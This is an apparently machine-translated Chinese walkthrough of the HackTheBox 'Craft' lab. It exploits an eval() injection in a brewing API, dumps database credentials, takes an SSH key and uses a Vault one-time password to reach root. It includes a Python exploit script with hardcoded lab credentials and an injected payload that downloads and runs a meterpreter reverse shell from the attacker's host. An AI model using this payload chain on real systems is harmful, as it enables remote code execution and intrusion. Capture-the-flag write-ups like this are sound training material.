哈克盒子-演练工艺。 我们深入研究Git,利用API中的漏洞,处理保险柜

图片

在本文中,我将开始发布从HackTheBox网站发送的用于进一步处理的解决方案。 我希望这将至少帮助某人在信息安全领域发展。 我们将研究如何在API中利用RCE,深入研究Gogs存储库,使用数据库以及处理Vault秘密存储和管理系统。

通过VPN连接到实验室。 建议不要从可用的计算机或主机上连接对您来说很重要的数据,因为您最终会与一个在信息安全领域有了解的人建立私有网络:)

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我还将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

智商


端口扫描


这台机器的IP地址为10.10.10.110,我将其添加到/ etc / hosts中。
10.10.10.110 craft.htb
首先,我们使用nmap扫描开放的端口,并指定-A选项以获取有关已发现服务的尽可能多的信息。
 nmap -A craft.htb 

图片

在机器上,我们看到ssh服务以及在端口443上运行的Web服务器。 如果您访问Web服务器,那么我们会提供有关API的信息。

图片

当我们尝试查看API和git时,会被告知有关未知站点的信息。

图片

因此,我们将两个域名都添加到/ etc / hosts中。
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


现在,两个链接都打开了。 Craft API应该是与API配合使用的接口,因此对于初学者来说,我们需要弄清楚它的工作方式,哪些Gogs可以帮助我们。

图片

入口点


在git中,首先要检查的是提交。

图片

经过提交后,在10e3ba4f0a中,我们找到了用户的身份验证数据。

图片

对应登录到gogs之后,我们发现了有关该bug的提及。

图片

通过单击链接,我们发现在eval()函数中如何进行验证,这非常危险,因为您可以在此函数中执行代码。

图片

为了检验假设,在本地python控制台中,我们将对该函数进行模拟,然后尝试从“ os”模块调用“ system()”函数。

图片

代码已成功执行! 现在,您需要编写漏洞利用程序才能重新建立连接。 在第一阶段,复制用于身份验证和令牌接收的代码。
 #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '15.0' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) 

在此代码中,我们的负载通过“ abv”参数传递,因此要检查RCE假设,我们将字符串'15 .0'替换为“ __import __('os')。System('ping your_ip')”。

我们打开tcpdump,指示仅侦听和过滤ICMP数据包的参数并启动该漏洞利用的接口。

图片

图片

我们观察到我们能够从远程主机ping通自己。 现在,我们进行反向连接。 可以通过nc来完成,但是让我们获得一个meterpreter shell。 为此,请使用msfvenom生成负载。 我们指定负载本身(reverse_tcp),本地主机和端口(LHOST,LPORT),文件格式为elf。

图片

同时,我们打开本地Web服务器。 现在,在msfconsole中配置侦听器。 为此,请像在负载中一样设置参数。

图片

我们监听传入的连接,现在我们需要将负载加载到主机上并启动它。
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
在metasplit窗口中,我们看到一个传入的连接。

图片

用户名


让我们启动外壳,看看我们的工作对象。

图片

根据终端的结论,我们可以假设我们在docker容器中。 看看主持人。

图片

有一个可执行文件dbtest.py。 你应该看

图片

程序连接到数据库,并执行命令和后续输出。 让我们看看数据库。 为此,我在主机上启动了交互式python控制台,并在执行命令之前将所有代码复制到其中。

图片

现在我们将请求表格。

图片

结果,我们返回了2条记录。 由于cursor.fetchone()输出一个条目,因此我们将执行两个这样的输出。

图片

这样我们得到了2张桌子。 用户更有趣。 我们显示该表中的所有数据。

图片

并且其中有3个条目。

图片

而且我们获得了用户积分。 在ssh上尝试过它们,但失败了,我们尝试进入git。 结果证明是以gilfoyle身份登录。 而且他有一个封闭的存储库。

图片

图片

.ssh目录非常有趣。 有两个密钥,我们选择一个私有密钥。

图片

我们正在尝试通过ssh使用此密钥进行连接。

图片


首先要在用户目录中查看。

图片

我们从金库中找到令牌。

图片

在处理了Vault之后 ,我将说这是一个用于密钥的存储和管理系统,其中包含键/值格式的数据,可以通过令牌访问这些数据。 检查是否已设置存储。

图片

让我们来看看秘密清单

图片

因此,我们看到对ssh的访问已配置

图片

现在,我们输入提供给我们的一次性密码,并且我们以root用户身份进入系统。

图片

您可以通过Telegram加入我们。 让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。

Source: https://habr.com/ru/post/zh-CN482970/


All Articles